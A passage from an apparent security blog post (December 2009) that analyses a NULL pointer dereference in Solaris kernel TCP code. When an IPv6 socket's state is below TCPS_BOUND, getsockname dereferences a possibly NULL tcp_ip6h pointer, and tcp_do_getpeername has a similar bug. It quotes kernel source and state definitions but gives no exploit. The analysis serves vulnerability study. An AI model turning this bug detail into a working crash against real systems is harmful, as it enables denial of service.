                                sin6->sin6_addr = tcp->tcp_ip6h->ip6_src;
                        }
                        mutex_exit(&tcp->tcp_connp->conn_lock);
                }
                *salenp = sizeof (sin6_t);
                break;
        }

        return (0);
}

This is the code that handles the ‘getsockname’ operation on TCP sockets. In case of an IPv6 socket it will initially check that its size is valid and then proceed with checking the state of the TCP connection. If this is less than ‘TCPS_BOUND’ which as we can read at common/inet/tcp.h is:

/* TCP states */
#define TCPS_CLOSED             -6
#define TCPS_IDLE               -5      /* idle (opened, but not bound) */
#define TCPS_BOUND              -4      /* bound, ready to connect or accept */
#define TCPS_LISTEN             -3      /* listening for connection */
#define TCPS_SYN_SENT           -2      /* active, have sent syn */
#define TCPS_SYN_RCVD           -1      /* have received syn (and sent ours) */
/* states < TCPS_ESTABLISHED are those where connections not established */
#define TCPS_ESTABLISHED        0       /* established */
#define TCPS_CLOSE_WAIT         1       /* rcvd fin, waiting for close */
/* states > TCPS_CLOSE_WAIT are those where user has closed */
#define TCPS_FIN_WAIT_1         2       /* have closed and sent fin */
#define TCPS_CLOSING            3       /* closed, xchd FIN, await FIN ACK */
#define TCPS_LAST_ACK           4       /* had fin and close; await FIN ACK */
/* states > TCPS_CLOSE_WAIT && < TCPS_FIN_WAIT_2 await ACK of FIN */
#define TCPS_FIN_WAIT_2         5       /* have closed, fin is acked */
#define TCPS_TIME_WAIT          6       /* in 2*msl quiet wait after close */

It will fall to the ‘else’ clause where it’ll attempt to initialize ‘sin6->sin6_addr’ with ‘tcp->tcp_ip6h->ip6_src’ which is the IPv6 source address of the TCP header. However, as James Carlson pointed out, the ‘tcp->tcp_ip6h’ pointer could be NULL and thus, this operation will result in NULL pointer dereference during that ‘else’ part.
A similar vulnerability was also present in the tcp_do_getpeername() routine which is located in the same source code file. For completeness, here is the definition of ‘tcp_ip6h’ pointer from ‘tcp_t’ data type as seen in common/inet/tcp.h header file.

/*
 * Control structure for each open TCP stream,
 * defined only within the kernel or for a kmem user.
 * NOTE: tcp_reinit_values MUST have a line for each field in this structure!
 */
#if (defined(_KERNEL) || defined(_KMEMUSER))
 
typedef struct tcp_s {
    ...
         ip6_t   *tcp_ip6h;              /* IPv6 header in the buffer */
    ...
#ifdef DEBUG
        pc_t                    tcmp_stk[15];
#endif
} tcp_t;

Written by xorl

December 6, 2009 at 04:56

Posted in bugs, solaris

Follow

Get every new post delivered to your Inbox.

Join 60 other followers